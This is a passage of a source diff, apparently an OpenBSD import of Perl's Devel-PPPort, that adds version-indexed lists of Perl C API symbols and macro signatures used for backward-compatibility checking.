+Am|void|XPUSHp|char* str|STRLEN len
+Am|void|XPUSHs|SV* sv
+Am|void|XPUSHu|UV uv
+Am|void|XSRETURN_IV|IV iv
+Am|void|XSRETURN_NV|NV nv
+Am|void|XSRETURN_PV|char* str
+Am|void|XSRETURN_UV|IV uv
+Am|void|XSRETURN|int nitems
+Am|void|XST_mIV|int pos|IV iv
+Am|void|XST_mNO|int pos
+Am|void|XST_mNV|int pos|NV nv
+Am|void|XST_mPV|int pos|char* str
+Am|void|XST_mUNDEF|int pos
+Am|void|XST_mYES|int pos
+Am|void|XopDISABLE|XOP *xop|which
+Am|void|XopENABLE|XOP *xop|which
+Am|void|XopENTRY_set|XOP *xop|which|value
+Am|void|Zero|void* dest|int nitems|type
+Am|void|mPUSHi|IV iv
+Am|void|mPUSHn|NV nv
+Am|void|mPUSHp|char* str|STRLEN len
+Am|void|mPUSHs|SV* sv
+Am|void|mPUSHu|UV uv
+Am|void|mXPUSHi|IV iv
+Am|void|mXPUSHn|NV nv
+Am|void|mXPUSHp|char* str|STRLEN len
+Am|void|mXPUSHs|SV* sv
+Am|void|mXPUSHu|UV uv
+Am|void|sv_catpv_nomg|SV* sv|const char* ptr
+Am|void|sv_catpvn_nomg|SV* sv|const char* ptr|STRLEN len
+Am|void|sv_catpvs_flags|SV* sv|const char* s|I32 flags
+Am|void|sv_catpvs_mg|SV* sv|const char* s
+Am|void|sv_catpvs_nomg|SV* sv|const char* s
+Am|void|sv_catpvs|SV* sv|const char* s
+Am|void|sv_catsv_nomg|SV* dsv|SV* ssv
+Am|void|sv_setpvs_mg|SV* sv|const char* s
+Am|void|sv_setpvs|SV* sv|const char* s
+Am|void|sv_setsv_nomg|SV* dsv|SV* ssv
+Am||XopENTRYCUSTOM|const OP *o|which
+Am||XopENTRY|XOP *xop|which
+mU||LVRET
+mn|GV *|PL_DBsub
+mn|GV*|PL_last_in_gv
+mn|GV*|PL_ofsgv
+mn|SV *|PL_DBsingle
+mn|SV *|PL_DBtrace
+mn|SV*|PL_rs
+mn|bool|PL_dowarn
+ms||djSP
+mx|U32|BhkFLAGS|BHK *hk
+mx|void *|BhkENTRY|BHK *hk|which
+mx|void|CALL_BLOCK_HOOKS|which|arg
+m|HV *|PAD_COMPNAME_OURSTASH|PADOFFSET po
+m|HV *|PAD_COMPNAME_TYPE|PADOFFSET po
+m|HV *|PadnameOURSTASH
+m|HV *|PadnameTYPE|PADNAME pn
+m|STRLEN|PAD_COMPNAME_GEN_set|PADOFFSET po|int gen
+m|STRLEN|PAD_COMPNAME_GEN|PADOFFSET po
+m|SV *|CX_CURPAD_SV|struct context|PADOFFSET po
+m|SV *|PAD_BASE_SV |PADLIST padlist|PADOFFSET po
+m|SV *|PAD_SETSV |PADOFFSET po|SV* sv
+m|SV *|PAD_SV |PADOFFSET po
+m|SV *|PAD_SVl |PADOFFSET po
+m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|const char *key|U32 flags
+m|U32|PAD_COMPNAME_FLAGS|PADOFFSET po
+m|U32|SvTHINKFIRST|SV *sv
+m|bool|CvWEAKOUTSIDE|CV *cv
+m|bool|PadnameIsOUR|PADNAME pn
+m|bool|PadnameIsSTATE|PADNAME pn
+m|bool|PadnameOUTER|PADNAME pn
+m|char *|PAD_COMPNAME_PV|PADOFFSET po
+m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|const char *key|SV *value|U32 flags
+m|void|CX_CURPAD_SAVE|struct context
+m|void|PAD_CLONE_VARS|PerlInterpreter *proto_perl|CLONE_PARAMS* param
+m|void|PAD_RESTORE_LOCAL|PAD *opad
+m|void|PAD_SAVE_LOCAL|PAD *opad|PAD *npad
+m|void|PAD_SAVE_SETNULLPAD
+m|void|PAD_SET_CUR |PADLIST padlist|I32 n
+m|void|PAD_SET_CUR_NOSAVE |PADLIST padlist|I32 n
+m|void|SAVECLEARSV |SV **svp
+m|void|SAVECOMPPAD
+m|void|SAVEPADSV |PADOFFSET po
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070
new file mode 100644
index 00000000000..722f52f91f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070
@@ -0,0 +1,42 @@
+5.003070
+HEf_SVKEY # E
+HeHASH # U
+HeKEY # U
+HeKLEN # U
+HeSVKEY # U
+HeSVKEY_force # U
+HeVAL # U
+cv_const_sv # U
+do_open # E (Perl_do_open)
+gv_efullname3 # U
+gv_fullname3 # U
+gv_stashpvn # E
+hv_delete_ent # U
+hv_exists_ent # U
+hv_fetch_ent # U
+hv_iterkeysv # E
+hv_ksplit # E
+hv_store_ent # U
+my_pclose # E (Perl_my_pclose)
+my_popen # E (Perl_my_popen)
+sv_gets # E (Perl_sv_gets)
+unsharepvn # E
+PERL_HASH # added by devel/scanprov
+PERL_INT_MAX # added by devel/scanprov
+PERL_INT_MIN # added by devel/scanprov
+PERL_LONG_MAX # added by devel/scanprov
+PERL_LONG_MIN # added by devel/scanprov
+PERL_QUAD_MAX # added by devel/scanprov
+PERL_QUAD_MIN # added by devel/scanprov
+PERL_SHORT_MAX # added by devel/scanprov
+PERL_SHORT_MIN # added by devel/scanprov
+PERL_UCHAR_MAX # added by devel/scanprov
+PERL_UCHAR_MIN # added by devel/scanprov
+PERL_UINT_MAX # added by devel/scanprov
+PERL_UINT_MIN # added by devel/scanprov
+PERL_ULONG_MAX # added by devel/scanprov
+PERL_ULONG_MIN # added by devel/scanprov
+PERL_UQUAD_MAX # added by devel/scanprov
+PERL_UQUAD_MIN # added by devel/scanprov
+PERL_USHORT_MAX # added by devel/scanprov
+PERL_USHORT_MIN # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000
new file mode 100644
index 00000000000..38b77a15309
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000
@@ -0,0 +1,52 @@
+5.004000
+GIMME_V # E
+G_VOID # E
+HePV # A
+HeSVKEY_set # U
+POPu # E
+PUSHu # U
+SvSetMagicSV # U
+SvSetMagicSV_nosteal # U
+SvSetSV_nosteal # U
+SvTAINTED # U
+SvTAINTED_off # U
+SvTAINTED_on # U
+SvUV # U
+SvUVX # U
+SvUVx # U
+XPUSHu # U
+block_end # E (Perl_block_end)
+block_gimme # E
+block_start # E (Perl_block_start)
+boolSV # U
+call_list # E
+delimcpy # U
+gv_autoload4 # U
+gv_fetchmethod_autoload # E
+hv_delayfree_ent # E
+hv_free_ent # E
+ibcmp_locale # U
+intro_my # E
+isPRINT # U
+memEQ # U
+memNE # U
+my_failure_exit # E
+newRV_inc # U
+newRV_noinc # E
+rsignal # E
+rsignal_state # E
+save_I16 # E
+save_gp # E
+share_hek # E
+start_subparse # E (Perl_start_subparse)
+sv_2uv # U
+sv_cmp_locale # E
+sv_derived_from # E
+sv_setuv # E
+sv_taint # U
+sv_tainted # E
+sv_untaint # E
+sv_vcatpvfn # E
+sv_vsetpvfn # E
+toLOWER_LC # U
+SvUVXx # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010
new file mode 100644
index 00000000000..8c298666039
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010
@@ -0,0 +1 @@
+5.004010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020
new file mode 100644
index 00000000000..4b43fdf8e46
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020
@@ -0,0 +1 @@
+5.004020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030
new file mode 100644
index 00000000000..e45facbb1f9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030
@@ -0,0 +1 @@
+5.004030
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040
new file mode 100644
index 00000000000..69ccd5d62c5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040
@@ -0,0 +1 @@
+5.004040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050
new file mode 100644
index 00000000000..daf95d5f00c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050
@@ -0,0 +1,42 @@
+5.004050
+PL_na # E
+PL_sv_no # E
+PL_sv_undef # E
+PL_sv_yes # E
+SvGETMAGIC # U
+do_binmode # E
+my_bcopy # U
+newCONSTSUB # E
+newSVpvn # E
+save_aelem # U
+save_helem # U
+sv_catpv_mg # E
+sv_catpvn_mg # U
+sv_catsv_mg # U
+sv_setiv_mg # E
+sv_setpv_mg # E
+sv_setpvn_mg # E
+sv_setsv_mg # E
+sv_setuv_mg # E
+sv_usepvn_mg # U
+AvFILLp # added by devel/scanprov
+DEFSV # added by devel/scanprov
+ERRSV # added by devel/scanprov
+PL_compiling # added by devel/scanprov
+PL_curcop # added by devel/scanprov
+PL_curstash # added by devel/scanprov
+PL_debstash # added by devel/scanprov
+PL_defgv # added by devel/scanprov
+PL_diehook # added by devel/scanprov
+PL_dirty # added by devel/scanprov
+PL_errgv # added by devel/scanprov
+PL_perl_destruct_level # added by devel/scanprov
+PL_perldb # added by devel/scanprov
+PL_stack_base # added by devel/scanprov
+PL_stack_sp # added by devel/scanprov
+PL_stdingv # added by devel/scanprov
+PL_sv_arenaroot # added by devel/scanprov
+PL_tainted # added by devel/scanprov
+PL_tainting # added by devel/scanprov
+SAVE_DEFSV # added by devel/scanprov
+dTHR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000
new file mode 100644
index 00000000000..070a690e903
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000
@@ -0,0 +1,38 @@
+5.005000
+PL_curpad # E
+PL_modglobal # E
+cx_dump # U
+debop # U
+debprofdump # U
+fbm_compile # E (Perl_fbm_compile)
+fbm_instr # E (Perl_fbm_instr)
+get_op_descs # E
+get_op_names # E
+init_stacks # E
+mg_length # E
+mg_size # E
+newHVhv # E
+new_stackinfo # E
+regdump # U
+regexec_flags # E
+regnext # E (Perl_regnext)
+runops_debug # E
+runops_standard # E
+save_iv # E (save_iv)
+save_op # U
+sv_iv # E
+sv_peek # U
+sv_pvn # E
+sv_true # E
+sv_uv # E
+CPERLscope # added by devel/scanprov
+END_EXTERN_C # added by devel/scanprov
+EXTERN_C # added by devel/scanprov
+NOOP # added by devel/scanprov
+PL_DBsignal # added by devel/scanprov
+PL_Sv # added by devel/scanprov
+PL_hexdigit # added by devel/scanprov
+PL_hints # added by devel/scanprov
+PL_laststatval # added by devel/scanprov
+PL_statcache # added by devel/scanprov
+START_EXTERN_C # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010
new file mode 100644
index 00000000000..deebff5bf8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010
@@ -0,0 +1 @@
+5.005010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020
new file mode 100644
index 00000000000..d19ff2ae09e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020
@@ -0,0 +1 @@
+5.005020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030
new file mode 100644
index 00000000000..f268c751dad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030
@@ -0,0 +1,4 @@
+5.005030
+POPpx # E
+get_vtbl # E
+save_generic_svref # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040
new file mode 100644
index 00000000000..8a165c20337
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040
@@ -0,0 +1 @@
+5.005040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000
new file mode 100644
index 00000000000..6cf8275d7e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000
@@ -0,0 +1,293 @@
+5.006000
+DO_UTF8 # U
+PERL_SYS_INIT3 # U
+POPn # E
+POPul # E
+PUSHn # E
+SvIOK_UV # U
+SvIOK_notUV # U
+SvIOK_only_UV # U
+SvNV # E
+SvNVX # E
+SvNV_set # E
+SvNVx # E
+SvPOK_only_UTF8 # U
+SvPV_nolen # U
+SvPVbyte # U
+SvPVbyte_nolen # U
+SvPVbytex # U
+SvPVbytex_force # U
+SvPVutf8 # U
+SvPVutf8_force # U
+SvPVutf8_nolen # U
+SvPVutf8x # U
+SvPVutf8x_force # U
+SvUTF8 # U
+SvUTF8_off # U
+SvUTF8_on # U
+UTF8SKIP # U
+XPUSHn # E
+XSRETURN_NV # E
+XST_mNV # E
+av_delete # E
+av_exists # E
+call_argv # E (perl_call_argv)
+call_atexit # E
+call_method # E (perl_call_method)
+call_pv # E (perl_call_pv)
+call_sv # E (perl_call_sv)
+cast_i32 # E (cast_i32)
+cast_iv # E (cast_iv)
+cast_ulong # E
+cast_uv # E (cast_uv)
+croak # E (Perl_croak)
+die # E (Perl_die)
+do_gv_dump # E
+do_gvgv_dump # E
+do_hv_dump # E
+do_magic_dump # E
+do_op_dump # E
+do_open9 # E
+do_pmop_dump # E
+do_sv_dump # E
+dump_all # U
+dump_eval # U
+dump_form # U
+dump_indent # E
+dump_packsubs # U
+dump_sub # U
+dump_vindent # E
+eval_pv # E (perl_eval_pv)
+eval_sv # E (perl_eval_sv)
+form # E (Perl_form)
+get_av # E (perl_get_av)
+get_context # U
+get_cv # E (perl_get_cv)
+get_hv # E (perl_get_hv)
+get_ppaddr # E
+get_sv # E (perl_get_sv)
+gv_dump # E
+init_i18nl10n # E (perl_init_i18nl10n)
+init_i18nl14n # E (perl_init_i18nl14n)
+isASCII # U
+isCNTRL # U
+isGRAPH # U
+isPUNCT # U
+isXDIGIT # U
+is_uni_alnum # E
+is_uni_alnum_lc # E
+is_uni_alpha # E
+is_uni_alpha_lc # E
+is_uni_ascii # E
+is_uni_ascii_lc # E
+is_uni_cntrl # E
+is_uni_cntrl_lc # E
+is_uni_digit # E
+is_uni_digit_lc # E
+is_uni_graph # E
+is_uni_graph_lc # E
+is_uni_idfirst # E
+is_uni_idfirst_lc # E
+is_uni_lower # E
+is_uni_lower_lc # E
+is_uni_print # E
+is_uni_print_lc # E
+is_uni_punct # E
+is_uni_punct_lc # E
+is_uni_space # E
+is_uni_space_lc # E
+is_uni_upper # E
+is_uni_upper_lc # E
+is_uni_xdigit # E
+is_uni_xdigit_lc # E
+is_utf8_alnum # E
+is_utf8_alpha # E
+is_utf8_ascii # E
+is_utf8_char # U
+is_utf8_cntrl # E
+is_utf8_digit # E
+is_utf8_graph # E
+is_utf8_idfirst # E
+is_utf8_lower # E
+is_utf8_mark # E
+is_utf8_print # E
+is_utf8_punct # E
+is_utf8_space # E
+is_utf8_upper # E
+is_utf8_xdigit # E
+load_module # E
+magic_dump # E
+mess # E (Perl_mess)
+my_atof # E
+my_fflush_all # E
+newANONATTRSUB # E
+newATTRSUB # U
+newSVnv # E (Perl_newSVnv)
+newSVpvf # E (Perl_newSVpvf)
+newSVuv # E
+newXS # E (Perl_newXS)
+newXSproto # E
+new_collate # E (perl_new_collate)
+new_ctype # E (perl_new_ctype)
+new_numeric # E (perl_new_numeric)
+op_dump # E
+perl_parse # E (perl_parse)
+pmop_dump # E
+pv_display # E
+re_intuit_string # E
+reginitcolors # E
+require_pv # E (perl_require_pv)
+safesyscalloc # U
+safesysfree # U
+safesysmalloc # U
+safesysrealloc # U
+save_I8 # E
+save_alloc # E
+save_destructor # E (Perl_save_destructor)
+save_destructor_x # E
+save_re_context # E
+save_vptr # E
+scan_bin # E
+scan_hex # E (Perl_scan_hex)
+scan_oct # E (Perl_scan_oct)
+set_context # U
+set_numeric_local # E (perl_set_numeric_local)
+set_numeric_radix # E
+set_numeric_standard # E (perl_set_numeric_standard)
+str_to_version # E
+sv_2pv_nolen # U
+sv_2pvbyte # E
+sv_2pvbyte_nolen # U
+sv_2pvutf8 # E
+sv_2pvutf8_nolen # U
+sv_catpvf # E (Perl_sv_catpvf)
+sv_catpvf_mg # E (Perl_sv_catpvf_mg)
+sv_force_normal # U
+sv_len_utf8 # E
+sv_nv # E (Perl_sv_nv)
+sv_pos_b2u # E
+sv_pos_u2b # E
+sv_pv # U
+sv_pvbyte # U
+sv_pvbyten # E
+sv_pvbyten_force # E
+sv_pvutf8 # U
+sv_pvutf8n # E
+sv_pvutf8n_force # E
+sv_rvweaken # E
+sv_setnv # E (Perl_sv_setnv)
+sv_setnv_mg # E (Perl_sv_setnv_mg)
+sv_setpvf # E (Perl_sv_setpvf)
+sv_setpvf_mg # E (Perl_sv_setpvf_mg)
+sv_setref_nv # E (Perl_sv_setref_nv)
+sv_utf8_decode # E
+sv_utf8_downgrade # E
+sv_utf8_encode # E
+sv_vcatpvf # E
+sv_vcatpvf_mg # E
+sv_vsetpvf # E
+sv_vsetpvf_mg # E
+swash_init # E
+to_uni_lower_lc # E
+to_uni_title_lc # E
+to_uni_upper_lc # E
+utf8_distance # E
+utf8_hop # U
+vcroak # E
+vform # E
+vload_module # E
+vmess # E
+vnewSVpvf # E
+vwarn # E
+vwarner # E
+warn # E (Perl_warn)
+warner # E
+CopFILE # added by devel/scanprov
+CopFILEAV # added by devel/scanprov
+CopFILEGV # added by devel/scanprov
+CopFILEGV_set # added by devel/scanprov
+CopFILESV # added by devel/scanprov
+CopFILE_set # added by devel/scanprov
+CopSTASH # added by devel/scanprov
+CopSTASHPV # added by devel/scanprov
+CopSTASHPV_set # added by devel/scanprov
+CopSTASH_eq # added by devel/scanprov
+CopSTASH_set # added by devel/scanprov
+INT2PTR # added by devel/scanprov
+IVSIZE # added by devel/scanprov
+IVTYPE # added by devel/scanprov
+IVdf # added by devel/scanprov
+NUM2PTR # added by devel/scanprov
+NVTYPE # added by devel/scanprov
+PERL_REVISION # added by devel/scanprov
+PERL_SUBVERSION # added by devel/scanprov
+PERL_VERSION # added by devel/scanprov
+PL_no_modify # added by devel/scanprov
+PL_ppaddr # added by devel/scanprov
+PTR2IV # added by devel/scanprov
+PTR2NV # added by devel/scanprov
+PTR2UV # added by devel/scanprov
+PTRV # added by devel/scanprov
+SVf # added by devel/scanprov
+SVf_UTF8 # added by devel/scanprov
+UVSIZE # added by devel/scanprov
+UVTYPE # added by devel/scanprov
+UVof # added by devel/scanprov
+UVuf # added by devel/scanprov
+UVxf # added by devel/scanprov
+WARN_ALL # added by devel/scanprov
+WARN_AMBIGUOUS # added by devel/scanprov
+WARN_BAREWORD # added by devel/scanprov
+WARN_CLOSED # added by devel/scanprov
+WARN_CLOSURE # added by devel/scanprov
+WARN_DEBUGGING # added by devel/scanprov
+WARN_DEPRECATED # added by devel/scanprov
+WARN_DIGIT # added by devel/scanprov
+WARN_EXEC # added by devel/scanprov
+WARN_EXITING # added by devel/scanprov
+WARN_GLOB # added by devel/scanprov
+WARN_INPLACE # added by devel/scanprov
+WARN_INTERNAL # added by devel/scanprov
+WARN_IO # added by devel/scanprov
+WARN_MALLOC # added by devel/scanprov
+WARN_MISC # added by devel/scanprov
+WARN_NEWLINE # added by devel/scanprov
+WARN_NUMERIC # added by devel/scanprov
+WARN_ONCE # added by devel/scanprov
+WARN_OVERFLOW # added by devel/scanprov
+WARN_PACK # added by devel/scanprov
+WARN_PARENTHESIS # added by devel/scanprov
+WARN_PIPE # added by devel/scanprov
+WARN_PORTABLE # added by devel/scanprov
+WARN_PRECEDENCE # added by devel/scanprov
+WARN_PRINTF # added by devel/scanprov
+WARN_PROTOTYPE # added by devel/scanprov
+WARN_QW # added by devel/scanprov
+WARN_RECURSION # added by devel/scanprov
+WARN_REDEFINE # added by devel/scanprov
+WARN_REGEXP # added by devel/scanprov
+WARN_RESERVED # added by devel/scanprov
+WARN_SEMICOLON # added by devel/scanprov
+WARN_SEVERE # added by devel/scanprov
+WARN_SIGNAL # added by devel/scanprov
+WARN_SUBSTR # added by devel/scanprov
+WARN_SYNTAX # added by devel/scanprov
+WARN_TAINT # added by devel/scanprov
+WARN_UNINITIALIZED # added by devel/scanprov
+WARN_UNOPENED # added by devel/scanprov
+WARN_UNPACK # added by devel/scanprov
+WARN_UNTIE # added by devel/scanprov
+WARN_UTF8 # added by devel/scanprov
+WARN_VOID # added by devel/scanprov
+XSprePUSH # added by devel/scanprov
+aTHX # added by devel/scanprov
+aTHX_ # added by devel/scanprov
+ckWARN # added by devel/scanprov
+dNOOP # added by devel/scanprov
+dTHX # added by devel/scanprov
+dTHXa # added by devel/scanprov
+dTHXoa # added by devel/scanprov
+dXSTARG # added by devel/scanprov
+isALNUMC # added by devel/scanprov
+pTHX # added by devel/scanprov
+pTHX_ # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001
new file mode 100644
index 00000000000..b3626c0b55f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001
@@ -0,0 +1,17 @@
+5.006001
+SvGAMAGIC # U
+apply_attrs_string # U
+bytes_to_utf8 # U
+gv_efullname4 # U
+gv_fullname4 # U
+isBLANK # U
+isPSXSPC # U
+is_utf8_string # U
+save_generic_pvref # U
+utf16_to_utf8 # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes # U
+G_METHOD # added by devel/scanprov
+NVef # added by devel/scanprov
+NVff # added by devel/scanprov
+NVgf # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002
new file mode 100644
index 00000000000..dfe09ce2c59
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002
@@ -0,0 +1 @@
+5.006002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000
new file mode 100644
index 00000000000..49d08465db8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000
@@ -0,0 +1 @@
+5.007000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001
new file mode 100644
index 00000000000..3de815ec8dd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001
@@ -0,0 +1,28 @@
+5.007001
+ASCII_TO_NEED # U
+NATIVE_TO_NEED # U
+POPpbytex # E
+SvUOK # U
+bytes_from_utf8 # U
+despatch_signals # U
+do_openn # U
+gv_handler # U
+is_lvalue_sub # U
+my_popen_list # U
+newSVpvn_share # U
+save_mortalizesv # U
+scan_num # E (Perl_scan_num)
+sv_force_normal_flags # U
+sv_setref_uv # U
+sv_unref_flags # U
+sv_utf8_upgrade # E (Perl_sv_utf8_upgrade)
+utf8_length # U
+utf8_to_uvchr # U
+utf8_to_uvuni # U
+utf8n_to_uvchr # U
+utf8n_to_uvuni # U
+uvchr_to_utf8 # U
+uvuni_to_utf8 # U
+PTR2ul # added by devel/scanprov
+SV_IMMEDIATE_UNREF # added by devel/scanprov
+UVXf # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002
new file mode 100644
index 00000000000..393fcf1f6b9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002
@@ -0,0 +1,72 @@
+5.007002
+SvPV_force_nomg # U
+SvPV_nomg # U
+calloc # U
+dAX # E
+dITEMS # E
+getcwd_sv # U
+grok_number # U
+grok_numeric_radix # U
+init_tm # U
+malloc # U
+mfree # U
+mini_mktime # U
+my_atof2 # U
+my_strftime # U
+op_null # U
+realloc # U
+sv_2pv_flags # U
+sv_catpvn_flags # U
+sv_catpvn_nomg # U
+sv_catsv_flags # U
+sv_catsv_nomg # U
+sv_pvn_force_flags # U
+sv_setsv_flags # U
+sv_setsv_nomg # U
+sv_utf8_upgrade_flags # U
+sv_utf8_upgrade_nomg # U
+swash_fetch # E (Perl_swash_fetch)
+GROK_NUMERIC_RADIX # added by devel/scanprov
+IN_LOCALE # added by devel/scanprov
+IN_LOCALE_COMPILETIME # added by devel/scanprov
+IN_LOCALE_RUNTIME # added by devel/scanprov
+IS_NUMBER_GREATER_THAN_UV_MAX # added by devel/scanprov
+IS_NUMBER_INFINITY # added by devel/scanprov
+IS_NUMBER_IN_UV # added by devel/scanprov
+IS_NUMBER_NEG # added by devel/scanprov
+IS_NUMBER_NOT_INT # added by devel/scanprov
+PERL_MAGIC_arylen # added by devel/scanprov
+PERL_MAGIC_backref # added by devel/scanprov
+PERL_MAGIC_bm # added by devel/scanprov
+PERL_MAGIC_collxfrm # added by devel/scanprov
+PERL_MAGIC_dbfile # added by devel/scanprov
+PERL_MAGIC_dbline # added by devel/scanprov
+PERL_MAGIC_defelem # added by devel/scanprov
+PERL_MAGIC_env # added by devel/scanprov
+PERL_MAGIC_envelem # added by devel/scanprov
+PERL_MAGIC_ext # added by devel/scanprov
+PERL_MAGIC_fm # added by devel/scanprov
+PERL_MAGIC_isa # added by devel/scanprov
+PERL_MAGIC_isaelem # added by devel/scanprov
+PERL_MAGIC_nkeys # added by devel/scanprov
+PERL_MAGIC_overload_table # added by devel/scanprov
+PERL_MAGIC_pos # added by devel/scanprov
+PERL_MAGIC_qr # added by devel/scanprov
+PERL_MAGIC_regdata # added by devel/scanprov
+PERL_MAGIC_regdatum # added by devel/scanprov
+PERL_MAGIC_regex_global # added by devel/scanprov
+PERL_MAGIC_sig # added by devel/scanprov
+PERL_MAGIC_sigelem # added by devel/scanprov
+PERL_MAGIC_substr # added by devel/scanprov
+PERL_MAGIC_sv # added by devel/scanprov
+PERL_MAGIC_taint # added by devel/scanprov
+PERL_MAGIC_tied # added by devel/scanprov
+PERL_MAGIC_tiedelem # added by devel/scanprov
+PERL_MAGIC_tiedscalar # added by devel/scanprov
+PERL_MAGIC_uvar # added by devel/scanprov
+PERL_MAGIC_vec # added by devel/scanprov
+PERL_UNUSED_DECL # added by devel/scanprov
+PERL_UNUSED_VAR # added by devel/scanprov
+SV_GMAGIC # added by devel/scanprov
+SvPV_flags # added by devel/scanprov
+SvPV_force_flags # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003
new file mode 100644
index 00000000000..127a118dae0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003
@@ -0,0 +1,83 @@
+5.007003
+OP_DESC # U
+OP_NAME # U
+PL_peepp # E
+PerlIO_clearerr # U (PerlIO_clearerr)
+PerlIO_close # U (PerlIO_close)
+PerlIO_eof # U (PerlIO_eof)
+PerlIO_error # U (PerlIO_error)
+PerlIO_fileno # U (PerlIO_fileno)
+PerlIO_fill # U (PerlIO_fill)
+PerlIO_flush # U (PerlIO_flush)
+PerlIO_get_base # U (PerlIO_get_base)
+PerlIO_get_bufsiz # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt # U (PerlIO_get_cnt)
+PerlIO_get_ptr # U (PerlIO_get_ptr)
+PerlIO_read # U (PerlIO_read)
+PerlIO_seek # U (PerlIO_seek)
+PerlIO_set_cnt # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf # U (PerlIO_setlinebuf)
+PerlIO_stderr # U (PerlIO_stderr)
+PerlIO_stdin # U (PerlIO_stdin)
+PerlIO_stdout # U (PerlIO_stdout)
+PerlIO_tell # U (PerlIO_tell)
+PerlIO_unread # U (PerlIO_unread)
+PerlIO_write # U (PerlIO_write)
+SvLOCK # U
+SvSHARE # U
+SvUNLOCK # U
+atfork_lock # U
+atfork_unlock # U
+custom_op_desc # U
+custom_op_name # U
+deb # U
+debstack # U
+debstackptrs # U
+grok_bin # U
+grok_hex # U
+grok_oct # U
+gv_fetchmeth_autoload # U
+ibcmp_utf8 # U
+my_fork # U
+my_socketpair # U
+pack_cat # U
+perl_destruct # E (perl_destruct)
+pv_uni_display # U
+save_shared_pvref # U
+savesharedpv # U
+sortsv # U
+sv_magicext # U
+sv_nolocking # U
+sv_nosharing # U
+sv_pvn_nomg # U
+sv_recode_to_utf8 # U
+sv_uni_display # U
+to_uni_fold # U
+to_uni_lower # E (Perl_to_uni_lower)
+to_uni_title # E (Perl_to_uni_title)
